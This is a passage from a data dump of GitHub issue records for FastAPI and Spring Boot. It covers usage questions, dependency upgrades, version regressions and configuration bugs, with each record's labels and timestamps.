- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI()

app.mount('/static', StaticFiles(directory='static'), name='static')

@app.get('/get/image')
async def get_image(db: Session = Depends(database.get_db)):
    img = db.query(store.Images).all()
    return img
```


### Description

Currently, my response is as follows:
```
[
  {
  ""id"":1,
  ""image_url"":""./static/image_name.png""
  }
]
```

But I expect images to be returned as urls in my response:
```
[
  {
  ""id"":1,
  ""image_url"":""http://Site_Address/static/image_name.png""
  }
]
```

### Operating System

Windows


### FastAPI Version

0.78.0

### Python Version

3.10.5
","question,question-migrate",2022-08-23T03:49:26Z,2023-02-27T21:49:39Z,5
tiangolo/fastapi,1346261389,Custom Controller to handle incoming request,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import gzip
from typing import Callable, List
import time

from fastapi import Body, FastAPI, Request, Response
from fastapi.routing import APIRoute

app = FastAPI()

@app.get(""/urlinfo/cat"")
async def root(url: str):
    return {""message"": ""Categroy""}

@app.get(""/urlinfo/rep"")
async def root(url: str):
    return {""message"": ""Reputation""}

@app.get(""/urlinfo/topcat"")
async def root(url: str):
    return {""message"": ""Top Category""}
```


### Description

Hi @tiangolo,

For my college project I want to create a custom route handler which would take the incoming request and assign handlers based on the request url path.

Example:... [TRUNCATED]","question,question-migrate",2022-08-22T11:37:49Z,2023-02-28T15:41:40Z,3
tiangolo/fastapi,1345723122,Best way to pass dependencies to other functions?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
.
```


### Description

If I have a situation like below I will get an error because you can't use Depends() with non-route functions it seems. Specifically, I will get an error saying `AttributeError: 'Depends' object has no attribute 'exec'`

```python
def get_session():
    with Session(engine) as session:
        yield session

def some_other_func(*, session: Session = Depends(get_session)):
    users = session.exec(select(User))
    print(""doing some other func thing"")

@router.post(""/demo"")
def demo(*, session: Session = Depends(get_session)):
    some_other_func()
    return {""demo"": ""success""}
```

If instead, I try to pass ... [TRUNCATED]","question,question-migrate",2022-08-22T02:32:28Z,2023-02-27T21:49:36Z,2
tiangolo/fastapi,1345197184,"http/1.1 ""500 Internal Server Error ERROR:    Exception in ASGI application""","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# import libraries
from fastapi import FastAPI
from pycaret.classification import *
import uvicorn
import pandas as pd
import warnings
warnings.filterwarnings('ignore')

# define the app object
app = FastAPI()

# Load the model
model = load_model('rf_class_heart_failure_model')

# define function


@app.post('/predict')
def predict(age, sex, chest_pain, r_blood_pressure, cholesterol, f_blood_sugar, r_ecg, max_heart_rate, exer_angina,
            oldpeak, slope_peak, major_vessels, thal):
    data = pd.DataFrame([[age, sex, chest_pain, r_blood_pressure, cholesterol, f_blood_sugar, r_ecg, max_heart_rate,
                          e... [TRUNCATED]","question,question-migrate",2022-08-20T15:45:33Z,2023-02-28T15:41:37Z,6
tiangolo/fastapi,1345193927,"Showing {   ""detail"": ""Not authenticated"" } when authorized ","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

I have followed the documentation and still showing like that !! 

authentication.py

```python


from fastapi import APIRouter, Depends
import schemas, database , models
from sqlalchemy.orm import Session
from passlib.context import CryptContext
import jwt_token
from fastapi.security import OAuth2PasswordRequestForm

router = APIRouter(
    tags=[""Authentication""]
)

get_db = database.get_db

pwd_cxt = CryptContext(schemes=[""bcrypt""], deprecated=""auto"")

@router.post(""/login"")
def login(request:OAuth2PasswordRequestForm = Depends(), db: Session = Depends(get_db)):
    user = db.query(models.Users).filter(models.Users.e... [TRUNCATED]","question,question-migrate",2022-08-20T15:38:39Z,2023-02-27T21:49:33Z,2
spring-projects/spring-boot,4678533386,Managed version of Prometheus Client is not aligned with Micrometer's micrometer-registry-prometheus,"
With Spring Boot 4.1.0, when depending on `micrometer-registry-prometheus` and when using the `requireUpperBoundDeps` rule of `maven-enforcer-plugin`, this triggers a violation as follows:

```
[ERROR] Rule 0: org.apache.maven.enforcer.rules.dependency.RequireUpperBoundDeps failed with message:
[ERROR] Failed while enforcing RequireUpperBoundDeps. The error(s) are [
[ERROR] Require upper bound dependencies error for io.prometheus:prometheus-metrics-exposition-formats:1.5.1 [runtime]. Paths to dependency are:
[ERROR] +-be.pdn.boot:upperbound-issue:0.0.1
[ERROR]   +-io.micrometer:micrometer-registry-prometheus:1.17.0
[ERROR]     +-io.prometheus:prometheus-metrics-exposition-formats:1.5.1 [runtime] (managed) <-- io.prometheus:prometheus-metrics-exposition-formats:1.7.0 [runtime]
[ERROR] ,
[ERROR] Require upper bound dependencies error for io.prometheus:prometheus-metrics-tracer-common:1.5.1. Paths to dependency are:
[ERROR] +-be.pdn.boot:upperbound-issue:0.0.1
[ERROR]   +-io.micrometer:micrometer-registry-prometheus:1.17.0
[ERROR]     +-io.prometheus:prometheus-metrics-tracer-common:1.5.1 (managed) <-- io.prometheus:prometheus-metrics-tracer-common:1.7.0
[ERROR] ,
[ERROR] Require upper bound dependencies error for io.prometheus:prometheus-metrics-core:1.5.1. Paths to dependency are:
[ERROR] +-be.pdn.boot:upperbound-issue:0.0.1
[ERROR]   +-io.micrometer:micrometer-registry-prometheus:1.17.0
[ERROR]     +-io.prometheus:prometheus-metrics-core:1.5.1 (managed) <-- io.prometheus:pro... [TRUNCATED]",type: bug,2026-06-16T22:59:12Z,2026-06-17T05:45:44Z,1
spring-projects/spring-boot,4675504737,spring grpc and spring boot version drift,"Hello,

there is a small version drift between spring grpc and spring boot. It is grpc bom 1.80 vs 1.81.
There is an issue if you generate the proto classes with 1.80 and if you implement those classes in another project where the spring boot dependencies bom uses dependency resolution and chooses version 1.81.

I've seen that you already added a fix.
Could you release a hot fix for that?

Thank you in advance.",status: duplicate,2026-06-16T15:13:11Z,2026-06-16T15:44:22Z,1
spring-projects/spring-boot,4674477800,Spring Boot Gradle Plugin incompatible with Gradle isolated projects,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.

🐞 Bug report (please don't include this emoji/text, just add your details)
Please provide details of the problem, including the version of Spring Boot that you
are using. If possible, please provide a test case or sample application that reproduces
the problem. This makes it much easier for us to diagnose the problem and to verify that
we have fixed it.

🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",status: waiting-for-triage,2026-06-16T13:11:16Z,2026-06-16T15:43:53Z,0
spring-projects/spring-boot,4673425991,Spring gRPC dependencies,"Hello,

I'd like to request if it is possible if you could additional gRPC dependencies to your spring-boot-dependencies bom.
The versions of the dependencies I'd like to request are already tracked.

The dependencies with an x are already tracked.
- [x] ""io.grpc:grpc-bom"" v: grpc-java.version
- [ ]  ""io.grpc:protoc-gen-grpc-java"" v: grpc-java.version
- [x] ""io.grpc:grpc-kotlin-sub"" v: grpc-kotlin.version
- [ ]  ""io.grpc"":protoc-gen-grpc-kotlin"" v: grpc-kotlin.version
- [x] ""com.google.protobuf:protobuf-bom"" v: protobuf-java.version
- [ ]  ""com.google.protobuf:protoc"" v: protobuf-java.version

Thank you in advance.",,2026-06-16T10:45:52Z,2026-06-17T10:40:57Z,3
spring-projects/spring-boot,4670422817,`server.servlet.session.cookie.partitioned=false` still emits the `Partitioned` cookie attribute,"Setting `server.servlet.session.cookie.partitioned=false` still produces `; Partitioned` on the session cookie. This is a regression from the fix for #50201 (commit b02f7dd, first released in 4.0.7).

In `ServletContextInitializers.SessionConfiguringInitializer.configureSessionCookie`:

```java
map.from(cookie::getPartitioned).to((partitioned) -> config.setAttribute(""Partitioned"", """"));
```

`PropertyMapper.to(...)` only filters `null`, so `Boolean.FALSE` reaches the consumer. The lambda then ignores the actual Boolean value and always sets the `Partitioned` attribute to `""""`. Tomcat's `Rfc6265CookieProcessor` emits `; Partitioned` when the attribute is `""""`, so an explicit `false` is rendered the same as `true`. The attribute is set by the container-agnostic `ServletContextInitializers`, so the same mapping applies to Jetty.

The #50201 fix also changed `AbstractServletWebServerFactoryTests.sessionConfiguration`, which sets `partitioned=false`, to assert `getAttribute(""Partitioned"")).isEqualTo("""")`. That checks the internal attribute value, not the resulting `Set-Cookie` header.

## Reproduction

A header-level test against Tomcat fails with the current code:

```java
@Test
void sessionCookieNotPartitionedAttribute() throws Exception {
    ConfigurableServletWebServerFactory factory = getFactory();
    factory.getSettings().getSession().getCookie().setPartitioned(false);
    factory.addInitializers(new ServletRegistrationBean<>(new CookieServlet(false), ""/""));
    this.webSe... [TRUNCATED]",,2026-06-16T02:13:39Z,2026-06-17T18:07:57Z,5
spring-projects/spring-boot,4665461136,Protobuf Common Protos should not be a managed dependency,"Boot doesn't interact with the dependency directly so we should not manage its version. Instead, we should allow the version that comes in transitively through gRPC Java to be used instead.
",type: bug,2026-06-15T13:21:17Z,2026-06-15T14:10:38Z,0
spring-projects/spring-boot,4665450156,Upgrade to Grpc Java 1.81.0,Upgrade to [Grpc Java 1.81.0](https://github.com/grpc/grpc-java/releases/tag/v1.81.0).,"type: dependency-upgrade,status: team-only",2026-06-15T13:19:49Z,2026-06-15T14:10:40Z,0
spring-projects/spring-boot,4665447260,Upgrade to Protobuf Java 4.35.0,Upgrade to [Protobuf Java 4.35.0](https://github.com/protocolbuffers/protobuf/releases/tag/v4.35.0).,"type: dependency-upgrade,status: team-only",2026-06-15T13:19:26Z,2026-06-15T14:10:40Z,0
spring-projects/spring-boot,4665207455,Align versions of gRPC-related dependencies with those from Spring gRPC,,type: task,2026-06-15T12:49:14Z,2026-06-15T14:10:39Z,0
spring-projects/spring-boot,4664321969,`RestClient.Builder` is no longer auto-configured after upgrading from Spring Boot 4.0.6 to 4.1.0,"  ## Description

  After upgrading from Spring Boot `4.0.6` to `4.1.0`, an application that previously started successfully now fails because `RestClient.Builder` is no longer available as a bean.

  The application uses `spring-boot-starter-web` and defines:

  ```java
  @Bean
  public RestClient restClient(RestClient.Builder restClientBuilder) {
           //.....more code.....
      return restClientBuilder.build();
  }
```

  This works with Spring Boot 4.0.6, but fails with Spring Boot 4.1.0.

  ## Error

  Parameter 0 of method restClient in com.tyaio.web.config.RestClientConfig required a bean of type
  'org.springframework.web.client.RestClient$Builder' that could not be found.

  ## Expected Behavior

  RestClient.Builder should still be auto-configured when using spring-boot-starter-web, as it was in Spring Boot 4.0.6.

  ## Actual Behavior

  With Spring Boot 4.1.0, no RestClient.Builder bean is registered and the application fails to start.",status: invalid,2026-06-15T10:43:05Z,2026-06-16T13:33:41Z,1
spring-projects/spring-boot,4659290017,spring.data.mongodb.uri credentials ignored — MongoClient created with credential=null in Spring Boot 4.0.6,"# Bug Report: `spring.data.mongodb.uri` credentials ignored in Spring Boot 4.0.6
**Spring Boot version:** 4.0.6
**MongoDB driver version:** 5.6.5 (shipped with starter)
**MongoDB server version:** 8.3.4
**Java version:** 25.0.3 (Eclipse Adoptium)
**OS:** Linux
---
## Description
When configuring MongoDB via `spring.data.mongodb.uri` in `application.yaml`, the `MongoClient` is created with `credential=null`, ignoring the username and password embedded in the connection string. This causes authentication to fail with error code 13 (`Command listDatabases requires authentication`).
## Expected Behavior
The `MongoClient` should be created with `MongoCredential{userName='admin', source='admin'}` extracted from the URI.
## Actual Behavior
`MongoClientSettings` shows `credential=null`, even though the URI contains valid credentials at `mongodb://admin:admin123@localhost:27017/medicare?authSource=admin`.
```yaml
# application.yaml
spring:
  data:
    mongodb:
      uri: mongodb://admin:admin123@localhost:27017/medicare?authSource=admin
```
Log output:
```
MongoClientSettings{... credential=null ...}
```
## Steps to Reproduce
1. Create a Spring Boot 4.0.6 project with `spring-boot-starter-data-mongodb`
2. Configure `spring.data.mongodb.uri` in `application.yaml` with a URI that includes credentials (e.g., `mongodb://user:pass@localhost:27017/db?authSource=admin`)
3. Start the application
4. Check the logs — the `MongoClient` will have `credential=null`
## Workaround
Creating a `@Confi... [TRUNCATED]",status: invalid,2026-06-14T13:40:44Z,2026-06-14T19:00:12Z,1
spring-projects/spring-boot,4656435228,An application that depends on spring-boot-security-oauth2-resource-server may fail to start with a ClassNotFoundException when Reactor is on the classpath but WebFlux is not,"Spring Boot `4.1.0` conditions to apply `ReactiveOAuth2ResourceServerAutoConfiguration` have changed, making it possible to try to instantiate a `SpringReactiveOpaqueTokenIntrospector`, even if WebFlux dependencies are not on the classpath.

In my case, this results in `java.lang.ClassNotFoundException: org.springframework.web.reactive.function.BodyInserter`.

The following tests for tiny WebMvc applications with introspection properties crash:
```bash
git clone https://github.com/ch4mpy/spring-addons.git
cd spring-addons
git checkout boot-4.1.0
mvn test
```

#### Thoughts
Conditions for Boot to auto-configure beans should be quite conservative. In the case of an opaque token introspector, this should happen only if:
- introspection properties are present
- the required security dependencies are on the classpath
- there is no opaque token introspector provided by the application (`@ConditionalOnMissingBean`). 

Additionally, depending on what is on the classpath, at most one of the reactive or synchronized implementations should be instantiated.

",type: regression,2026-06-13T18:06:36Z,2026-06-13T20:30:21Z,0
spring-projects/spring-boot,4646599121,docs: update few documentation issues,"I found several documentation inconsistencies that still appear to be present on current `main` as of https://github.com/spring-projects/spring-boot/commit/8ccf2e910f2ecb1919cfe45eb4f4e3df16076f2d.

#### 1. Cloud deployment docs use the wrong forward headers property

The cloud deployment page tells users to set `spring.forward-headers-strategy`:

https://github.com/spring-projects/spring-boot/blob/8ccf2e910f2ecb1919cfe45eb4f4e3df16076f2d/documentation/spring-boot-docs/src/docs/antora/modules/how-to/pages/deployment/cloud.adoc#L27

But the actual property is `server.forward-headers-strategy`, so the documented setting has no effect.

Introduced by:
- https://github.com/spring-projects/spring-boot/commit/7a6d92cbff421953901078a423717d345eaf7354

#### 2. JPA bootstrap docs still say lazy mode uses the async task executor

The SQL/JPA docs say deferred or lazy bootstrapping uses the context's `AsyncTaskExecutor`, if any:

https://github.com/spring-projects/spring-boot/blob/8ccf2e910f2ecb1919cfe45eb4f4e3df16076f2d/documentation/spring-boot-docs/src/docs/antora/modules/reference/pages/data/sql.adoc#L275-L277

But the behavior changed so that the bootstrap executor customization applies to deferred mode, not lazy mode, and deferred mode requires an executor.

Introduced by:
- https://github.com/spring-projects/spring-boot/commit/e76c6c5488fc1fa4e01030620db044f3f93eb0a7

#### 3. Optional binding docs still describe the old null behavior

The external configuration docs say an `Optio... [TRUNCATED]",status: superseded,2026-06-12T05:29:46Z,2026-06-12T13:53:43Z,3
spring-projects/spring-boot,4641739231,"Configuration properties containing empty arrays, collections or maps fail with ConverterNotFoundException","Configuring a Map property with an empty collection is no longer possible in 4.1.0, was working in 4.0.6.

Instead of the application starting with an empty map for that property, the startup fails with an `Failed to load ApplicationContext` error caused by:
```
Caused by: org.springframework.core.convert.ConverterNotFoundException: No converter found capable of converting from type [java.lang.String] to type [java.util.Map<java.lang.String, java.lang.String>]
```

e.g. with the following config class:
```
@ConfigurationProperties(prefix = ""test"")
public class TestProperties {
    private Map<String, String> testmap = new HashMap<>();

    public Map<String, String> getTestmap() {
        return testmap;
    }

    public void setTestmap(final Map<String, String> testmap) {
        this.testmap = testmap;
    }
}
```
and this in application.yaml:
```
test:
  testmap: {}
```

The result is an error at startup:
```

java.lang.IllegalStateException: Failed to load ApplicationContext for [WebMergedContextConfiguration@629fc74d testClass = **redacted**, locations = [], classes = [**redacted**, TestConfiguration], contextInitializerClasses = [], activeProfiles = [], propertySourceDescriptors = [], propertySourceProperties = [""org.springframework.boot.test.context.SpringBootTestContextBootstrapper=true""], contextCustomizers = [org.springframework.boot.webmvc.test.autoconfigure.WebDriverContextCustomizer@5003041b, org.springframework.boot.test.autoconfigure.OnFailureConditionReportCo... [TRUNCATED]",status: superseded,2026-06-11T15:05:19Z,2026-06-17T18:00:28Z,4
spring-projects/spring-boot,4639596436,Spring Boot 4.1 and Spring Cloud compatibility,"I upgraded from Spring Boot 4.0 to Spring Boot 4.1. I am using Spring Cloud 2025.1.1. On startup I received this error:
```
***************************
APPLICATION FAILED TO START
***************************

Description:

Your project setup is incompatible with our requirements due to following reasons:

- Spring Boot [4.1.0] is not compatible with this Spring Cloud release train


Action:

Consider applying the following actions:

- Change Spring Boot version to one of the following versions [4.0.x] .
You can find the latest Spring Boot versions here [https://spring.io/projects/spring-boot#learn]. 
If you want to learn more about the Spring Cloud Release train compatibility, you can visit this page [https://spring.io/projects/spring-cloud#overview] and check the [Release Trains] section.
If you want to disable this check, just set the property [spring.cloud.compatibility-verifier.enabled=false]
```

I cannot see a more recent version of Spring Cloud.","status: invalid,for: external-project",2026-06-11T10:36:23Z,2026-06-11T10:43:07Z,1
spring-projects/spring-boot,4638853672,GraalVM regression - Spring Boot 4.1,"
This morning I upgraded my project to Spring Boot 4.1 with the following 2 plugin dependencies from the Spring Initializer:

```
    id(""org.springframework.boot"") version ""4.1.0""
    id(""org.graalvm.buildtools.native"") version ""1.1.1""
```

The GraalVM native image built successfully, but the application fails to start up with following stacktrace.

```
  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/

 :: Spring Boot ::                (v4.1.0)

08:43:35.934 [main] INFO  i.g.g.datastarspringmvc.Application - Starting AOT-processed Application using Java 25.0.3 with PID 1 (/workspace/io.github.gadnex.datastarspringmvc.Application started by cnb in /workspace) []
08:43:35.935 [main] INFO  i.g.g.datastarspringmvc.Application - No active profile set, falling back to 1 default profile: ""default"" []
08:43:35.964 [main] INFO  o.s.boot.tomcat.TomcatWebServer - Tomcat initialized with port 8080 (http) []
08:43:35.965 [main] INFO  o.a.catalina.core.StandardService - Starting service [Tomcat] []
08:43:35.965 [main] INFO  o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/11.0.22] []
08:43:35.975 [main] INFO  o.s.b.w.c.s.WebApplicationContextInitializer - Root WebApplicationContext: initialization completed in 40 ms []
08:43:35.995 [main] WARN  o.s.b.w.s.s.c.ServletW... [TRUNCATED]",status: duplicate,2026-06-11T08:51:21Z,2026-06-11T13:47:47Z,1
spring-projects/spring-boot,4635596238,EntityManager not available to auto wire in spring boot 4.1.0,"Startup fails with:

Caused by: org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type 'jakarta.persistence.EntityManager' available: expected at least 1 bean which qualifies as autowire candidate. Dependency annotations: {}

It works fine in 4.0.7 and 4.1.0-M2. Fails in 4.1.0-M3 and later.

Tested by just changing the spring boot version and keeping other dependencies the same with:
* hibernate 7.4.1.Final
* spring data 26.0.0
* spring framework 7.0.8
",status: invalid,2026-06-10T22:49:36Z,2026-06-11T08:02:13Z,9
spring-projects/spring-boot,4632380459,MailSender auto-configuration does not enable hostname verification,Forward port of issue #50746 to 4.1.x.,"type: bug,status: forward-port",2026-06-10T14:53:30Z,2026-06-10T15:21:50Z,0
spring-projects/spring-boot,4632378075,MailSender auto-configuration does not enable hostname verification,Forward port of issue #50742 to 4.0.x.,"type: bug,status: forward-port",2026-06-10T14:53:14Z,2026-06-10T15:21:50Z,0
spring-projects/spring-boot,4632350199,Artemis auto-configuration uses a predictable default location for the embedded broker's data,Forward port of issue #50744 to 4.1.x.,"type: bug,status: forward-port",2026-06-10T14:49:42Z,2026-06-10T15:21:49Z,0
spring-projects/spring-boot,4632333984,Artemis auto-configuration uses a predictable default location for the embedded broker's data,Forward port of issue #50743 to 4.0.x.,"type: bug,status: forward-port",2026-06-10T14:47:37Z,2026-06-10T15:21:48Z,0
spring-projects/spring-boot,4632153345,Artemis auto-configuration uses a predictable default location for the embedded broker's data,,type: bug,2026-06-10T14:24:41Z,2026-06-10T15:21:47Z,0
spring-projects/spring-boot,4632137291,MailSender auto-configuration does not enable hostname verification,,type: bug,2026-06-10T14:22:56Z,2026-06-10T15:21:48Z,0
spring-projects/spring-boot,4630872556,Upgrade to Spring GraphQL 2.0.4,Upgrade to [Spring GraphQL 2.0.4](https://github.com/spring-projects/spring-graphql/releases/tag/v2.0.4).,"type: dependency-upgrade,status: team-only",2026-06-10T11:46:18Z,2026-06-10T11:46:40Z,0
spring-projects/spring-boot,4630857103,Upgrade to Spring GraphQL 2.0.4,Upgrade to [Spring GraphQL 2.0.4](https://github.com/spring-projects/spring-graphql/releases/tag/v2.0.4).,"type: dependency-upgrade,status: team-only",2026-06-10T11:44:14Z,2026-06-10T11:46:40Z,0
spring-projects/spring-boot,4630841981,Upgrade to Spring GraphQL 1.4.6,Upgrade to [Spring GraphQL 1.4.6](https://github.com/spring-projects/spring-graphql/releases/tag/v1.4.6).,"type: dependency-upgrade,status: team-only",2026-06-10T11:42:09Z,2026-06-10T11:46:39Z,0
spring-projects/spring-boot,4628227384,"PropertiesWebClientHttpServiceGroupConfigurer has highest precedence, preventing other configurers from being ordered ahead of it","`PropertiesWebClientHttpServiceGroupConfigurer#getOrder()` still returns `Ordered.HIGHEST_PRECEDENCE`, while the RestClient sibling was changed to `Ordered.HIGHEST_PRECEDENCE + 10` in 72eaeecd5cd for gh-48296.

This leaves WebClient-backed HTTP service groups with the limitation that gh-48296 fixed for RestClient. A `WebClientHttpServiceGroupConfigurer` ordered at, say, `Ordered.HIGHEST_PRECEDENCE + 5` cannot supply an initial `WebClient.Builder` through `InitializingClientCallback`. The properties configurer runs first, creates the default builder through the `ClientCallback` variant of `forEachClient`, and the initializing callback then fails with ""Client builder already initialized"".

If this is considered a bug, would it be okay for me to submit a small PR?
",status: superseded,2026-06-10T05:12:13Z,2026-06-10T14:22:22Z,2
spring-projects/spring-boot,4627885470,"PropertiesWebClientHttpServiceGroupConfigurer has highest precedence, preventing other configurers from being ordered ahead of it","`PropertiesWebClientHttpServiceGroupConfigurer#getOrder()` still returns `Ordered.HIGHEST_PRECEDENCE`, while the RestClient sibling was changed to `Ordered.HIGHEST_PRECEDENCE + 10` in 72eaeecd5cd for gh-48296.

This leaves WebClient-backed HTTP service groups with the limitation that gh-48296 fixed for RestClient. A `WebClientHttpServiceGroupConfigurer` ordered at, say, `Ordered.HIGHEST_PRECEDENCE + 5` cannot supply an initial `WebClient.Builder` through `InitializingClientCallback`. The properties configurer runs first, creates the default builder through the `ClientCallback` variant of `forEachClient`, and the initializing callback then fails with ""Client builder already initialized"".

If this is considered a bug, would it be okay for me to submit a small PR?",status: duplicate,2026-06-10T04:10:52Z,2026-06-10T05:12:42Z,0
spring-projects/spring-boot,4625079346,Upgrade to Hibernate 7.2.19.Final,"Upgrade to [Hibernate 7.2.19.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.19).

Supersedes #50716","type: dependency-upgrade,status: team-only",2026-06-09T19:46:52Z,2026-06-09T19:49:01Z,0
spring-projects/spring-boot,4623997366,Upgrade to Hibernate 7.4.1.Final,"Upgrade to [Hibernate 7.4.1.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.4.1).

Supersedes #50578","type: dependency-upgrade,status: team-only",2026-06-09T17:06:48Z,2026-06-09T17:07:20Z,0
spring-projects/spring-boot,4623068518,Bump @springio/antora-extensions from 1.14.11 to 1.14.12 in /antora,Forward port of issue #50730 to 4.1.x.,"type: task,status: forward-port",2026-06-09T14:54:03Z,2026-06-09T14:54:15Z,0
spring-projects/spring-boot,4623067606,Bump @springio/antora-extensions from 1.14.11 to 1.14.12 in /antora,Forward port of issue #50669 to 4.0.x.,"type: task,status: forward-port",2026-06-09T14:53:55Z,2026-06-09T14:54:14Z,0
spring-projects/spring-boot,4622869450,Fix Javadoc for GraylogExtendedLogFormatProperties,Forward port of issue #50728 to 4.1.x.,"type: task,status: forward-port",2026-06-09T14:28:28Z,2026-06-09T14:28:43Z,0
spring-projects/spring-boot,4622855126,Fix Javadoc for GraylogExtendedLogFormatProperties,Forward port of issue #50699 to 4.0.x.,"type: task,status: forward-port",2026-06-09T14:26:31Z,2026-06-09T14:28:42Z,0
spring-projects/spring-boot,4621867576,High number of connections due to mongo health indicator,"Hello,

we noticed a high number of connections created by our microservices after migrating to Spring Boot 4.0.6.\
We have about 80 microservices in our product and they used to create around 200 connections to MongoDB.\
After migrating to Spring Boot 4, we noticed that microservices were creating around 1300 connections.

After analysis, we identified the mongo health indicator as the root cause of this issue, more precisely the refactoring done with #47051.

Our context:
- every microservice has its own database
- our microservices use the reactive mongo health indicator to check database connectivity
- all microservices in a Kubernetes namespace use the same MongoDB user (to avoid limitation in MongoDB Atlas)

With Spring Boot 3, the mongo health indicator was running a single HELLO command in the database of the microservice.

Since Spring Boot 4, the reactive indicator runs a HELLO command on all databases of the namespace (around 80) and it does so in parallel for the reactive health indicator (due to usage of flatMap).

To fix the issue, we overwrote the mongo health indicator to only check the current database.

Would you consider reverting mongo indicators (blocking & reactive) to their previous implementation (using mongoTemplate & reactiveMongoTemplate) ?",status: superseded,2026-06-09T12:21:08Z,2026-06-10T15:27:19Z,4
spring-projects/spring-boot,4621571138,Upgrade to SAAJ Impl 3.0.6,"Upgrade to SAAJ Impl 3.0.6.

Supersedes #50320","type: dependency-upgrade,status: team-only",2026-06-09T11:36:32Z,2026-06-09T11:38:02Z,0
spring-projects/spring-boot,4621570513,Upgrade to Pulsar 4.0.11,"Upgrade to [Pulsar 4.0.11](https://pulsar.apache.org/release-notes/versioned/pulsar-4.0.11).

Supersedes #50318","type: dependency-upgrade,status: team-only",2026-06-09T11:36:25Z,2026-06-09T11:38:01Z,0
spring-projects/spring-boot,4621569760,Upgrade to jOOQ 3.19.35,"Upgrade to [jOOQ 3.19.35](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.35).

Supersedes #50531","type: dependency-upgrade,status: team-only",2026-06-09T11:36:18Z,2026-06-09T11:37:59Z,0
spring-projects/spring-boot,4621569324,Upgrade to Jetty Reactive HTTPClient 4.0.14,Upgrade to Jetty Reactive HTTPClient 4.0.14.,"type: dependency-upgrade,status: team-only",2026-06-09T11:36:14Z,2026-06-09T11:37:59Z,0
spring-projects/spring-boot,4621568727,Upgrade to Jaxen 2.0.6,"Upgrade to [Jaxen 2.0.6](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.6).

Supersedes #50675","type: dependency-upgrade,status: team-only",2026-06-09T11:36:08Z,2026-06-09T11:37:58Z,0
spring-projects/spring-boot,4621568175,Upgrade to Hibernate 6.6.53.Final,"Upgrade to [Hibernate 6.6.53.Final](https://github.com/hibernate/hibernate-orm/releases/tag/6.6.53).

Supersedes #50672","type: dependency-upgrade,status: team-only",2026-06-09T11:36:02Z,2026-06-09T11:37:57Z,0
